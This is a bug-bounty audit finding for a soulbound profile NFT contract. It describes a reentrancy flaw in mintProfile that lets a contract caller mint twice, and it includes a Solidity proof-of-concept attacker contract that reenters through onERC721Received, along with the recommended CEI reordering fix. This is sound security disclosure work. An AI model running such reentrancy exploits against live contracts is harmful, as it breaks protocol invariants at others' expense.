Normal behavior: each address should only ever be able to mint one soulbound profile, enforced by checking profileToToken[msg.sender] == 0.
The issue: _safeMint() is called before profileToToken[msg.sender] is assigned. If msg.sender is a contract implementing onERC721Received, it can reenter mintProfile() from inside that callback while profileToToken[msg.sender] is still 0, passing the guard a second time.
Likelihood:
Reason 1: Requires the caller to be a custom contract implementing IERC721Receiver, not a plain EOA wallet — this is a real, unrestricted possibility since nothing in the contract prevents contract-based callers.
Reason 2: The attack costs nothing beyond gas and requires no special timing or race condition — it's a straightforward, repeatable reentrant call.
Impact:
Impact 1: Breaks the contract's core invariant (one profile per address) for any contract-based address.
Impact 2: profileToToken only ever records one of the minted tokens, leaving the other as a live, owned NFT completely untracked by the contract's own bookkeeping — downstream logic relying on profileToToken to reflect true ownership becomes unreliable.
test/PoC_FindingE.sol. Two tests: one confirms the reentrant double-mint, one confirms a normal EOA can only mint once.
Both [PASS]. The second test is a control: a normal EOA mints exactly once, isolating the bug to contract-based callers.
The fix is a straightforward CEI reordering: perform the state writes before the external call, so a reentrant call sees profileToToken[msg.sender] already non-zero.
As a defense-in-depth measure on top of the reordering, adding OpenZeppelin's nonReentrant modifier to mintProfile() is also recommended, in case any other external call is introduced into this function in the future.
## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.